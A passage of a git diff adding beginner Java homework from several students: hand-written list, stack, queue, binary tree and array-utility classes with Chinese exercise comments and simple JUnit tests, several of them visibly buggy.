+		Object[] tar = new Object[obj.length + 1];
+		System.arraycopy(obj, 0, tar, 0, index);
+		tar[index] = o;
+		System.arraycopy(obj, index, tar, index + 1, obj.length - index);
+		obj = tar;
+	}
+
+	public Object get(int index) {
+		return obj[index];
+	}
+	
+	public int size(){
+		return obj.length;
+	}
+
+	public Object remove(int index){
+		Object[] tar = new Object[obj.length-1];
+		System.arraycopy(obj, 0, tar, 0, index);
+		System.arraycopy(obj, index+1, tar, index, obj.length-index-1);
+		Object o = obj[index];
+		obj = tar;
+		return o;//���ر�ɾԪ��
+	}
+	public static void main(String[] args) {
+		ArrayList al = new ArrayList();
+		al.add("hello");
+		al.add("java");
+		al.add(2, "addm");
+		System.out.println(al.remove(1));
+	}
+
+}
diff --git a/group23/609041842/src/com/homework01/LinkedList.java b/group23/609041842/src/com/homework01/LinkedList.java
new file mode 100644
index 0000000000..cc72fc2e4c
--- /dev/null
+++ b/group23/609041842/src/com/homework01/LinkedList.java
@@ -0,0 +1,87 @@
+package com.homework01;
+
+public class LinkedList {
+	private static Node head;
+	private Node last;
+	public int size;
+
+	public void add(Object o) {
+		Node l = last;
+		Node newNode = new Node(l, o, null);
+		last = newNode;
+		if (head == null) {
+			head = newNode;
+			size = 1;
+		} else {
+			l.next = newNode;
+			size++;
+		}
+	}
+
+	public void add(int index, Object o) {
+		Node n = node(index);
+		System.out.println(n.data);
+		Node pred = n.prev;
+		Node newNode = new Node(pred, o, n);
+		if (pred == null) {
+			head = newNode;
+		} else {
+			pred.next = newNode;
+		}
+		size++;
+	}
+
+	
+	public Node get(int index){
+		return node(index);
+	}
+	public Node node(int index) {
+		Node n = head;
+		for (int i = 0; i < index; i++) {
+			n = n.next;
+		}
+		return n;
+	}
+
+	public Node remove(int index){
+		Node del = node(index);
+		Node after = del.next;
+		Node before = del.prev;
+		before.next = after;
+		after.prev = before;
+		size--;
+		return del;
+	}
+	private static class Node {
+		Node next;
+		Object data;
+		Node prev;
+
+		private Node(Node prev, Object data, Node next) {
+			this.data = data;
+			this.next = next;
+			this.prev = prev;
+		}
+	}
+
+	public static void main(String[] arg) {
+		LinkedList ll = new LinkedList();
+		ll.add("hello");
+		ll.add("java");
+		ll.add("jvm");
+		ll.add("jvmd");
+		// System.out.println(ll.get(2));
+//		ll.add(1, "ds");
+		System.out.println(ll.get(0).data);
+		System.out.println(ll.get(1).data);
+		System.out.println(ll.get(2).data);
+		System.out.println(ll.get(3).data);
+		System.out.println(ll.size);
+	System.out.println(ll.remove(1).data);
+	System.out.println(ll.get(0).data);
+	System.out.println(ll.get(1).data);
+	System.out.println(ll.get(2).data);
+	System.out.println(ll.size);
+	}
+
+}
diff --git a/group23/609041842/src/com/homework01/Queue.java b/group23/609041842/src/com/homework01/Queue.java
new file mode 100644
index 0000000000..db8fb359b5
--- /dev/null
+++ b/group23/609041842/src/com/homework01/Queue.java
@@ -0,0 +1,17 @@
+package com.homework01;
+
+public class Queue {
+
+	private LinkedList lk = new LinkedList();
+	public void enQueue(Object o){
+		lk.add(o);
+	}
+	public void deQueue(){
+		lk.remove(lk.size-1);
+	}
+	public boolean isEmpty(){
+		if(lk.size == 0)
+			return true;
+		return false;
+	}
+}
diff --git a/group23/609041842/src/com/homework01/Stack.java b/group23/609041842/src/com/homework01/Stack.java
new file mode 100644
index 0000000000..ee5d71d830
--- /dev/null
+++ b/group23/609041842/src/com/homework01/Stack.java
@@ -0,0 +1,30 @@
+package com.homework01;
+
+public class Stack {
+
+	private ArrayList array = new ArrayList();
+	
+	public void push(Object o){
+		array.add(o);
+	}
+	public Object pop(){
+		return array.remove(array.size()-1);
+	}
+	
+	public boolean isEmpty(){
+		if(array.size()<=0)
+			return true;
+		return false;
+	}
+	
+	public int size(){
+		return array.size();
+	}
+	public static void main(String[] args) {
+		Stack sc = new Stack();
+		sc.push("hello world");
+		sc.push("java");
+		sc.push("jvm");
+	}
+	
+}
diff --git a/group23/609041842/src/test.java b/group23/609041842/src/test.java
new file mode 100644
index 0000000000..931a307711
--- /dev/null
+++ b/group23/609041842/src/test.java
@@ -0,0 +1,9 @@
+import org.junit.Test;
+
+public class test {
+
+	@Test
+	public void test(){
+		System.out.println("Heool");
+	}
+}
diff --git a/group23/632678665/com/basic/datastructure/ArrayList.java b/group23/632678665/com/basic/datastructure/ArrayList.java
new file mode 100644
index 0000000000..35fb185737
--- /dev/null
+++ b/group23/632678665/com/basic/datastructure/ArrayList.java
@@ -0,0 +1,64 @@
+package com.basic.datastructure;
+
+import java.util.Arrays;
+
+import org.junit.Test;
+
+public class ArrayList implements List{
+	private Object [] array =new Object [15];
+	private int size=0;
+	private int aindex=0;
+	@Override
+	public void add(Object o) {
+		if(aindex>(int)(array.length/3*2)){
+			array=autoGrew(array);
+		}
+		array[aindex]=o;
+		size++;
+		aindex++;
+	}
+
+	@Override
+	public void add(int index, Object o) {
+		if(index>=array.length){
+			throw new IndexOutOfBoundsException();
+		}
+		array[index]=o;
+		size++;
+		aindex=index;
+	}
+
+	@Override
+	public Object get(int index) {
+		if(index>=array.length){
+			throw new IndexOutOfBoundsException();
+		}
+		return array[index];
+	}
+
+	@Override
+	public Object remove(int index) {
+		if(index>=array.length){
+			throw new IndexOutOfBoundsException();
+		}
+		Object o=array[index];
+		for(int i=index;i<array.length;i++){
+			if(i==array.length-1){
+				break;
+			}
+			array[i]=array[i+1];
+		}
+		size--;
+		return null;
+	}
+
+	@Override
+	public int size() {
+		return size;
+	}
+	public Object [] autoGrew(Object [] o){
+		Object [] newArray;
+		return newArray=Arrays.copyOf(o, (int) (o.length*1.5));
+	}
+	
+}
diff --git a/group23/632678665/com/basic/datastructure/LinkedList.java b/group23/632678665/com/basic/datastructure/LinkedList.java
new file mode 100644
index 0000000000..3eb2aad4a1
--- /dev/null
+++ b/group23/632678665/com/basic/datastructure/LinkedList.java
@@ -0,0 +1,98 @@
+package com.basic.datastructure;
+
+public class LinkedList implements List{
+	private int size=0;
+	private Node head=null;
+	private int index=-1;
+	
+	private static class Node{
+		Object data;
+		Node next;
+		public Node(Object o,Node next){
+			this.data=o;
+			this.next=next;
+		}
+	}
+	@Override
+	public void add(Object o) {
+		Node front=null;
+		Node last=null;
+		if(head==null){
+			head=new Node(o,null);
+			front=head;
+			size++;
+			index++;
+			return ;
+		}
+		while(front.next!=null){
+			front=front.next;
+		}
+		last=new Node(o,null);
+		front.next=last;
+		index++;
+		size++;
+	}
+
+	@Override
+	public void add(int index, Object o) {
+		Node front=null;
+		Node last=null;
+		if(head==null){
+			head=new Node(o,null);
+			front=head;
+			size++;
+			index++;
+			return ;
+		}
+		for(int i=0;i<index;i++){
+			if(front.next==null){
+				add(null);
+				front=front.next;
+			}
+		}
+		add(o);
+	}
+
+	@Override
+	public Object get(int index) {
+		Node front=null;
+		if(index==0){
+			if(head==null){
+				throw new IndexOutOfBoundsException();
+			}
+			return head.data;
+		}
+		front=head;
+		for(int i=0;i<index;i++){
+			if(front.next==null){
+				throw new IndexOutOfBoundsException();
+			}
+			front=front.next;
+		}
+		return front.next.data;
+	}
+
+	@Override
+	public Object remove(int index) {
+		if(index==0){
+			head=head.next;
+		}
+		Node front=null;
+		for(int i=0;i<index;i++){
+			if(front.next==null){
+				throw new IndexOutOfBoundsException();
+			}
+			front=front.next;
+		}
+		front.next=front.next.next;
+		size--;
+		return front.next.data;
+	}
+
+	@Override
+	public int size() {
+		// TODO Auto-generated method stub
+		return size;
+	}
+	
+}
diff --git a/group23/632678665/com/basic/datastructure/List.java b/group23/632678665/com/basic/datastructure/List.java
new file mode 100644
index 0000000000..a69cde6453
--- /dev/null
+++ b/group23/632678665/com/basic/datastructure/List.java
@@ -0,0 +1,9 @@
+package com.basic.datastructure;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index,Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/632678665/com/basic/datastructure/Queue.java b/group23/632678665/com/basic/datastructure/Queue.java
new file mode 100644
index 0000000000..41ef95deb9
--- /dev/null
+++ b/group23/632678665/com/basic/datastructure/Queue.java
@@ -0,0 +1,23 @@
+package com.basic.datastructure;
+import java.util.LinkedList;
+public class Queue {
+	private LinkedList linkedList=new LinkedList();
+	
+	public void enQueue(Object o){
+		linkedList.add(o);
+	}
+	
+	public Object deQueue(){
+		Object o=linkedList.get(linkedList.size()-1);
+		linkedList.remove(linkedList.size()-1);
+		return o;
+	}
+	
+	public boolean isEmpty(){
+		return linkedList.isEmpty();
+	}
+	
+	public int size(){
+		return linkedList.size();
+	}
+}
diff --git a/group23/632678665/com/basic/datastructure/Stack.java b/group23/632678665/com/basic/datastructure/Stack.java
new file mode 100644
index 0000000000..dbc06956e1
--- /dev/null
+++ b/group23/632678665/com/basic/datastructure/Stack.java
@@ -0,0 +1,29 @@
+package com.basic.datastructure;
+
+import java.util.ArrayList;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+
+	public void push(Object o) {
+		elementData.add(o);
+	}
+
+	public Object pop() {
+		Object o=elementData.get(elementData.size()-1);
+		elementData.remove(elementData.size()-1);
+		return o;
+	}
+
+	public Object peek() {
+		return elementData.get(elementData.size()-1);
+	}
+
+	public boolean isEmpty() {
+		return elementData.isEmpty();
+	}
+
+	public int size() {
+		return elementData.size();
+	}
+}
diff --git a/group23/632678665/com/basic/datastructure/TestDataStructure.java b/group23/632678665/com/basic/datastructure/TestDataStructure.java
new file mode 100644
index 0000000000..e394e8ec61
--- /dev/null
+++ b/group23/632678665/com/basic/datastructure/TestDataStructure.java
@@ -0,0 +1,27 @@
+package com.basic.datastructure;
+
+import static org.junit.Assert.*;
+
+import org.junit.Test;
+
+public class TestDataStructure {
+
+	@Test
+	public void test1() {
+		List list=new ArrayList();
+		list.add(new Integer(1));
+		list.add(new Integer(2));
+		list.add(new Integer(3));
+		list.add(new Integer(4));
+		list.add(new Integer(5));
+	}
+	public static void main(String [] args){
+		List list=new ArrayList();
+		list.add(new Integer(1));
+		list.add(new Integer(2));
+		list.add(new Integer(3));
+		list.add(new Integer(4));
+		list.add(new Integer(5));
+	}
+
+}
diff --git a/group23/632678665/com/basic/week2/datastructure/ArrayTest.java b/group23/632678665/com/basic/week2/datastructure/ArrayTest.java
new file mode 100644
index 0000000000..46c3f8b601
--- /dev/null
+++ b/group23/632678665/com/basic/week2/datastructure/ArrayTest.java
@@ -0,0 +1,50 @@
+package com.basic.week2.datastructure;
+
+import static org.junit.Assert.*;
+
+import java.util.Arrays;
+
+import org.junit.Test;
+
+public class ArrayTest {
+	private ArrayUtil t=new ArrayUtil();
+	@Test
+	public void testReverseArray(){
+		int [] data1={7, 9 , 30, 3};
+		int [] data2={7, 9, 30, 3, 4};
+		t.reverseArray(data2);
+	}
+	@Test
+	public void testRemoveZero(){
+		int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5};
+		System.out.println(Arrays.toString(t.removeZero(oldArr)));
+	}
+	@Test
+	public void testMerge(){
+		int [] a1 = {3, 5, 7,8};
+		int [] a2 = {4, 5, 6,7};
+		System.out.println(Arrays.toString(t.merge(a1, a2)));
+	}
+	@Test
+	public void testGrow(){
+		int [] oldArray = {2,3,6};
+		System.out.println(Arrays.toString(t.grow(oldArray, 5)));
+	}
+	@Test
+	public void testFibonacci(){
+		System.out.println(Arrays.toString(t.fibonacci(1)));
+	}
+	@Test
+	public void testGetPrimes(){
+		System.out.println(Arrays.toString(t.getPrimes(23)));
+	}
+	@Test
+	public void testGetPerfectNumbers(){
+		System.out.println(Arrays.toString(t.getPerfectNumbers(7)));
+	}
+	@Test
+	public void testJoin(){
+		int [] array= {3,8,9};
+		System.out.println(t.join(array, "-"));
+	}
+}
diff --git a/group23/632678665/com/basic/week2/datastructure/ArrayUtil.java b/group23/632678665/com/basic/week2/datastructure/ArrayUtil.java
new file mode 100644
index 0000000000..10089c1b3a
--- /dev/null
+++ b/group23/632678665/com/basic/week2/datastructure/ArrayUtil.java
@@ -0,0 +1,228 @@
+package com.basic.week2.datastructure;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+import com.sun.xml.internal.bind.v2.runtime.unmarshaller.XsiNilLoader.Array;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin){
+		int index=(int) (origin.length/2);
+		for(int i=0;i<index;i++){
+			int temp=origin[i];
+			origin[i]=origin[origin.length-1-i];
+			origin[origin.length-1-i]=temp;
+		}
+		System.out.println(Arrays.toString(origin));
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int [] removeZero(int[] oldArray){
+		ArrayList <Integer >array=new ArrayList <Integer>();
+		int from;
+		int to;
+		for(int i=0;i<oldArray.length;i++){
+			if(oldArray[i]==0){
+				to=i;
+				continue;
+			}
+			array.add(oldArray[i]);
+		}
+		int [] array2=new int[array.size()];
+		for(int i=0;i<array2.length;i++){
+			array2[i]=array.get(i);
+		}
+		return array2;
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	@SuppressWarnings("unchecked")
+	public int[] merge(int[] array1, int[] array2){
+		List <Integer> list=new ArrayList<Integer>();
+		for(int i=0;i<array1.length;i++){
+			list.add(array1[i]);
+		}
+		for(int i=0;i<array2.length;i++){
+			list.add(array2[i]);
+		}
+		HashSet <Integer> set=new HashSet<Integer>();
+		set.addAll(list);
+		Object[] array=set.toArray();
+		int [] arrayInt=new int [array.length];
+		for(int i=0;i<array.length;i++){
+			arrayInt[i]=(int)array[i];
+		}
+		Arrays.sort(arrayInt);
+		return arrayInt;
+	}
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+		int length=oldArray.length+size;
+		int [] newArray=new int [length];
+		System.arraycopy(oldArray,0,newArray,0,oldArray.length);
+		return newArray;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		if(max==1){
+			return new int []{};
+		}
+		int front=1;
+		int behind=1;
+		int result=0;
+		List <Integer>list=new ArrayList<Integer>();
+		list.add(front);
+		list.add(behind);
+		while(true){
+			result=front+behind;
+			if(max<result){
+				break;
+			}
+			list.add(result);
+			front=behind;
+			behind=result;
+		}
+		int [] array=new int [list.size()];
+		for(int i=0;i<array.length;i++){
+			array[i]=list.get(i);
+		}
+		return array;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		List<Integer> list=new ArrayList<Integer>();
+		int num=3;
+		list.add(2);
+		boolean flag=true;
+		while(true){
+			flag=true;
+			for(int i=2;i<num;i++){
+				if(num%i==0){
+					flag=false;
+					break;
+				}
+			}
+			if(max<=num){
+				break;
+			}
+			if(flag==true){
+				list.add(num);
+			}
+			num++;
+		}
+		int [] array=new int [list.size()];
+		for(int i=0;i<array.length;i++){
+			array[i]=list.get(i);
+		}
+		return array;
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		List <Integer> list=new ArrayList<Integer>();
+		Set <Integer> temp=new HashSet<Integer>();
+		int num=1;
+		int result=0;
+		while(true){
+			for(int i=1;i<num;i++){
+				if(num%i==0){
+					temp.add(i);
+				}
+			}
+			for(Integer i:temp){
+				result+=i;
+			}
+			if(num>max){
+				break;
+			}
+			if(num==result){
+				list.add(num);
+			}
+			temp.clear();
+			result=0;
+			num++;
+		}
+		int [] array=new int [list.size()];
+		for(int i=0;i<array.length;i++){
+			array[i]=list.get(i);
+		}
+		return array;
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		List <String> list=new ArrayList<String>();
+		for(int i=0;i<array.length;i++){
+			list.add(new Integer(array[i]).toString());
+			if(i==array.length-1){
+				break;
+			}
+			list.add(seperator);
+		}
+		StringBuilder str=new StringBuilder();
+		for(String s:list){
+			str.append(s);
+		}
+		return str.toString();
+	}
+	
+}
diff --git a/group23/729693763/First_Homework1/readme.md b/group23/729693763/First_Homework1/readme.md
new file mode 100644
index 0000000000..219dee010b
--- /dev/null
+++ b/group23/729693763/First_Homework1/readme.md
@@ -0,0 +1,2 @@
+It contain source code and Test file by JUnit,
+you can run SuitTest for testing whole file.
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java b/group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java
new file mode 100644
index 0000000000..ccb3bcb12c
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java
@@ -0,0 +1,117 @@
+package com.danny.hw1;
+
+import java.lang.reflect.Array;
+import java.util.Arrays;
+
+import javax.print.attribute.Size2DSyntax;
+
+public class ArrayList implements List{
+	//ArrayList Size
+	private int size=0;
+	private int array_len=2;
+
+	//total element in here
+	private Object[] elementData = new Object[array_len];
+
+	@Override
+	public void add(Object o) {
+		// TODO Auto-generated method stub
+		adjustCapacity();
+		this.elementData[size++] = o;
+	}
+
+	@Override
+	public void add(int index, Object o) {
+		// TODO Auto-generated method stub
+		//Check range. if index is invalid,then would not add anythings
+		rangeCheckForAdd(index);
+
+		adjustCapacity();
+		System.arraycopy(elementData, index, elementData, 
+						 index + 1,size - index);
+		this.elementData[index] = o;
+		this.size++;
+
+	}
+
+	@Override
+	public Object get(int index) {
+		// TODO Auto-generated method stub
+		rangeCheckExist(index);
+		
+		return elementData[index];
+
+	}
+
+	@Override
+	public Object remove(int index) {
+		// TODO Auto-generated method stub
+		rangeCheckExist(index);
+		
+		Object oldValue = elementData[index];
+		//deal with copy operation
+        int moveStep = size - index - 1;
+        if ( moveStep > 0 )
+            System.arraycopy(elementData, index+1, elementData, index,moveStep);
+        elementData[--size] = null; // clear to let GC do its work
+
+        return oldValue;
+
+	}
+
+	@Override
+	public int size() {
+		// TODO Auto-generated method stub
+		return this.size;
+	}
+	
+	//Get Iterator
+	public Iterator iterator() {
+		return new ArrayListIterator();
+	}
+
+	/*******  Iterator  *******/
+	private class ArrayListIterator implements Iterator{
+
+		private int currentIndex = 0;
+		
+		@Override
+		public boolean hasNext() {
+			return currentIndex < size();
+		}
+
+		@Override
+		public Object next() {
+			rangeCheckExist(currentIndex);
+			
+			return elementData[currentIndex++];
+		}
+	}
+	
+
+	/*******Inner function*******/
+	//Increase arraylist size
+	private void adjustCapacity(){
+		//array length can not satisfy data size;
+		if ( this.array_len < size() + 1 ) {
+			this.array_len *= 2;
+			this.elementData = Arrays.copyOf(elementData, array_len);
+		} else {
+			return ;
+		}
+	}
+
+	private void rangeCheckForAdd(int index) {
+		//Add operation is allow to add value in [ size() ] even if [ size() ] has not data
+		if ( index > size() || index < 0 )
+			throw new IndexOutOfBoundsException("Invalid Adding Index:"+index);
+	}
+	private void rangeCheckExist(int index) {
+		if ( index >= size() || index < 0 )
+			throw new IndexOutOfBoundsException("Invalid Index:"+index);
+	}
+
+
+
+
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java b/group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java
new file mode 100644
index 0000000000..8e3178b50b
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java
@@ -0,0 +1,101 @@
+package com.danny.hw1;
+
+import java.util.Map;
+import java.util.TreeMap;
+
+public class BinaryTreeNode {
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public BinaryTreeNode insert(Object o){
+		if ( this.data == null && left == null && right == null ) {
+			this.data = o;
+			return this;
+		} else {
+			BinaryTreeNode temp = findNode(this, o);
+
+			BinaryTreeNode newNode = new BinaryTreeNode();
+			newNode.data = o;
+			//assert more than one null node in the temp(left,right,or both);
+			if ( temp.compareTo(o) >= 0 ) {
+				temp.left = newNode;
+			} else {
+				temp.right = newNode;
+			}
+			return newNode;
+		}
+	}
+		
+	public BinaryTreeNode() {
+		// TODO Auto-generated constructor stub
+		data=null;
+		left =null;
+		right = null;
+		
+	} 
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	private int compareTo(Object o){
+		// o1 > o2 == 1; o1 = o2 == 0 ; o1 < o2 == -1		
+		//假设这个比较现在只用在数字上
+		return Integer.parseInt(this.data.toString()) - Integer.parseInt(o.toString());
+	}
+	
+	private static BinaryTreeNode findNode(BinaryTreeNode root,Object o){
+		if ( root.left == null && root.right == null || 
+		   ( root.compareTo(o) < 0 && root.right == null) ||
+		   ( root.compareTo(o) >= 0 && root.left == null) ){
+			return root;
+		} else if ( root.compareTo(o) >= 0 ) {
+			//root data is bigger than object
+			return findNode(root.left, o);
+		} else {
+			return findNode(root.right, o);
+		}
+//			else if(root.compareTo(o) < 0 ){
+//			return findNode(root.right, o);
+//		}
+//		
+	}
+
+	//For Test value
+	private Map<Object, Integer> teMap = new TreeMap<>();
+	public void printWholeTree(BinaryTreeNode root,int layer){
+		if(root == null) {
+			return ;
+		}
+		teMap.put(root.data,layer);
+
+		layer++;
+		printWholeTree(root.left,layer);
+		printWholeTree(root.right,layer);
+		
+	}
+
+	public Map<Object,Integer > getTeMap() {
+		return teMap;
+	}
+
+	public void setTeMap(Map<Object, Integer> teMap) {
+		this.teMap = teMap;
+	}
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java b/group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java
new file mode 100644
index 0000000000..b1ff654263
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java
@@ -0,0 +1,6 @@
+package com.danny.hw1;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java b/group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java
new file mode 100644
index 0000000000..64c9b9bbca
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java
@@ -0,0 +1,296 @@
+package com.danny.hw1;
+
+public class LinkedList implements List{
+
+	private Node Head = null;
+	private Node Tail = null;
+	private int size = 0;
+	
+	@Override
+	public void add(Object o) {
+		// TODO Auto-generated method stub			
+		addLastNode(o);		
+	}
+
+	@Override
+	public void add(int index, Object o) {
+		// TODO Auto-generated method stub
+		checkPositionIndex(index);
+		
+		if ( index == size() ){
+			addLastNode(o);
+		} else { 
+			addBeforeNode(index,o);
+		}	
+	}
+
+	@Override
+	public Object get(int index) {
+		// TODO Auto-generated method stub
+		checkElementIndex(index);
+		
+		Node findGetNode = findIndexNode(index);
+		return findGetNode.data;		
+	}
+
+	@Override
+	public Object remove(int index) {
+		// TODO Auto-generated method stub
+		checkElementIndex(index);
+		Node deleteNode = null;
+		
+		//delete all node
+		if ( size() == 1 ) {
+			deleteNode = this.Head;
+			this.Head = null;
+			this.Tail = null;			
+		} else if ( index == 0 ) {
+			//Remove Head
+			deleteNode = this.Head;
+			this.Head = this.Head.next;			
+		} else if ( index == size() - 1) {
+			//Remove Tail
+			deleteNode = this.Tail;
+			Node findDeleteNode = findIndexNode(index - 1);
+			findDeleteNode.next = null;
+			this.Tail = findDeleteNode;
+		} else {
+			//Remove Mid
+			Node findDeleteNode = findIndexNode(index - 1);
+			deleteNode = findDeleteNode.next;
+			findDeleteNode.next = findDeleteNode.next.next;
+		}
+		this.size--;
+		return deleteNode.data;
+	}
+
+	@Override
+	public int size() {
+		// TODO Auto-generated method stub
+		return this.size;
+	}
+	
+	@Override
+	public Iterator iterator(){
+		return new LinkedListIterator();
+	}
+	
+	/************Other function (without Interface function)**************/
+	
+	public void addFirst(Object o){
+		Node newNode = new Node();
+		newNode.data = o;
+		newNode.next = this.Head;
+		this.Head = newNode;
+	}
+	
+	public Object removeFirst(){
+		checkElementIndex(0);
+		
+		Node deleteNode = this.Head;
+		this.Head = this.Head.next;
+		
+		this.size--;
+		return deleteNode.data;
+	}
+	
+	public Object removeLast(){
+		checkElementIndex(size() - 1);
+		
+		Node deleteNode = this.Tail;
+		if ( this.Head == this.Tail ) {
+			this.Head = this.Tail = null;
+		} else {
+			this.Tail = findIndexNode(size() - 2);
+		}
+		this.size--;
+		return deleteNode.data;
+		
+	}
+	/************Iterator**************/
+	private class LinkedListIterator implements Iterator{
+		private Node currentNode;
+		private int currentIndex;
+		
+		public LinkedListIterator() {
+			// TODO Auto-generated constructor stub
+			this.currentIndex = 0;
+			this.currentNode = new Node();
+		}
+		@Override
+		public boolean hasNext() {
+			// TODO Auto-generated method stub
+			return currentIndex < size();
+		}
+
+		@Override
+		public Object next() {
+			// TODO Auto-generated method stub
+			checkElementIndex(currentIndex);
+			if ( currentNode.data == null ) {
+				this.currentNode = findIndexNode(currentIndex);
+			}
+				Object value = currentNode.data;
+				currentNode = currentNode.next;
+				currentIndex++;
+			return value;
+		}	
+	}
+		
+	/************Node class for supporting LinkedList**************/
+	private static class Node{
+		Object data ;
+		Node next ;
+		public Node() {
+			// TODO Auto-generated constructor stub
+			data = null;
+			next = null;
+		}
+	}
+	
+	/************Inner function **************/
+	private void checkPositionIndex(int index){
+		 if ( !( index >= 0 && index <= size ) )
+			 throw new IndexOutOfBoundsException("Invalid Index:"+index);
+	}
+	
+	private void checkElementIndex(int index){
+		 if ( !( index >= 0 && index < size ) )
+			 throw new IndexOutOfBoundsException("Invalid Index:"+index);
+	}
+		
+	private void addLastNode(Object o){	
+		Node newNode = new Node();
+		newNode.data = o;
+		
+		if ( this.Head == null ) {
+			this.Head = newNode;
+			this.Tail = newNode;			
+		} else {
+			if(this.Head == this.Tail ){								
+				this.Tail = newNode;
+				this.Head.next = this.Tail;
+			}
+			else{
+			//Tail and Head are different Object, 			
+				this.Tail.next = newNode;
+				this.Tail = newNode;
+			}
+		}
+		this.size++;
+	}
+	
+	private void addBeforeNode(int index,Object o){
+		Node newNode = new Node();
+		Node beforeInserNode = this.Head;
+		newNode.data = o;
+
+		// if index is in Head
+		if ( index == 0 ) { 
+			newNode.next = this.Head;
+			this.Head = newNode;
+		} else {
+			for (int i=0; i<index ;i++ ){
+				beforeInserNode = beforeInserNode.next;
+			}
+			newNode.next = beforeInserNode.next;
+			beforeInserNode.next = newNode;
+		}
+
+		this.size++;
+	}
+	
+	private Node findIndexNode(int index){
+		Node findGetNode = this.Head;
+		for ( int i=0; i< index; i++ ) {
+			findGetNode = findGetNode.next;
+		}
+		return findGetNode;
+	}
+
+}
+
+
+
+
+
+
+
+
+
+//
+///**
+// * 把该链表逆置
+// * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+// */
+//public  void reverse(){		
+//	
+//}
+//
+///**
+// * 删除一个单链表的前半部分
+// * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+// * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+//
+// */
+//public  void removeFirstHalf(){
+//	
+//}
+//
+///**
+// * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+// * @param i
+// * @param length
+// */
+//public  void remove(int i, int length){
+//	
+//}
+///**
+// * 假定当前链表和list均包含已升序排列的整数
+// * 从当前链表中取出那些list所指定的元素
+// * 例如当前链表 = 11->101->201->301->401->501->601->701
+// * listB = 1->3->4->6
+// * 返回的结果应该是[101,301,401,601]  
+// * @param list
+// */
+//public static int[] getElements(LinkedList list){
+//	return null;
+//}
+//
+///**
+// * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+// * 从当前链表中中删除在list中出现的元素 
+//
+// * @param list
+// */
+//
+//public  void subtract(LinkedList list){
+//	
+//}
+//
+///**
+// * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+// * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+// */
+//public  void removeDuplicateValues(){
+//	
+//}
+//
+///**
